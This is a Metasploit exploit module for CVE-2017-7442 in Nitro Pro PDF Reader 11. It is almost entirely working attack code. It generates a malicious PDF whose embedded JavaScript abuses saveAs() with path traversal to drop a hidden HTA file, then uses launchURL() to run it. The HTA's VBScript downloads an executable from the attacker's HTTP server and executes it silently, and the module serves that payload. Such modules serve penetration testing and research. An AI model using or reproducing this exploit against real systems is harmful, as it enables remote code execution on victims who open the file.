modules/exploits/windows/fileformat/nitro_reader_jsapi.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution',
'Description' => %q{
This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
PDF Reader version 11. The saveAs() Javascript API function allows for writing
arbitrary files to the file system. Additionally, the launchURL() function allows
an attacker to execute local files on the file system and bypass the security dialog
Note: This is 100% reliable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steven[at]srcincite.io>', # vulnerability discovery and exploit
'bcoles', # hidden hta tricks!
'sinn3r' # help with msf foo!
],
'References' =>
[
[ 'CVE', '2017-7442' ],
[ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ], # public advisory #1
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ], # public advisory #2 (verified and acquired by SSD)
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => false
},
'Platform' => 'win',
'Targets' =>
[
# truly universal
[ 'Automatic', { } ],
],
'DisclosureDate' => '2017-07-24',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
])
deregister_options('SSL', 'SSLVersion', 'SSLCert')
end
def build_vbs(url, stager_name)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)
vbs = %Q|<head><hta:application
applicationname="#{@payload_name}"
border="none"
borderstyle="normal"
caption="false"
contextmenu="false"
icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico"
maximizebutton="false"
minimizebutton="false"
navigable="false"
scroll="false"
selection="false"
showintaskbar="No"
sysmenu="false"
version="1.0"
windowstate="Minimize"></head>
<style>* { visibility: hidden; }</style>
<script language="VBScript">
window.resizeTo 1,1
window.moveTo -2000,-2000
</script>
<script type="text/javascript">setTimeout("window.close()", 5000);</script>
<script language="VBScript">
On Error Resume Next
Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
#{name_xmlhttp}.open "GET","http://#{url}",False
#{name_xmlhttp}.send
Set #{name_adodb} = CreateObject("ADODB.Stream")
#{name_adodb}.Open
#{name_adodb}.Type=1
#{name_adodb}.Write #{name_xmlhttp}.responseBody
#{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2
set shellobj = CreateObject("wscript.shell")
shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0
</script>|
vbs.gsub!(/ /,'')
return vbs
end
def on_request_uri(cli, request)
if request.uri =~ /\.exe/
print_status("Sending second stage payload")
return if ((p=regenerate_payload(cli)) == nil)
data = generate_payload_exe( {:code=>p.encoded} )
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
return
end
end
def exploit
# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@payload_name = rand_text_alpha(4)
@temp_folder = "/Windows/Temp"
register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta")
if datastore['SRVHOST'] == '0.0.0.0'
lhost = Rex::Socket.source_address('50.50.50.50')
else
lhost = datastore['SRVHOST']
end
payload_src = lhost
payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
stager_name = rand_text_alpha(6) + ".vbs"
pdf = %Q|%PDF-1.7
4 0 obj
<<
/Length 0
>>
stream
|
pdf << build_vbs(payload_src, stager_name)
pdf << %Q|
endstream endobj
5 0 obj
<<
/Type /Page
/Parent 2 0 R
/Contents 4 0 R
>>
endobj
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction [ 5 0 R /Fit ]
/Names <<
/JavaScript <<
/Names [ (EmbeddedJS)
<<
/S /JavaScript
/JS (
this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
)
>>
]
>>
>>
>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids [ 5 0 R ]>>
endobj
3 0 obj
<<>>
endobj
xref
0 6
0000000000 65535 f
0000000166 00000 n
0000000244 00000 n
0000000305 00000 n
0000000009 00000 n
0000000058 00000 n
trailer <<
/Size 6
/Root 1 0 R
>>
startxref
327
%%EOF|
pdf.gsub!(/ /,'')
file_create(pdf)
super
end
end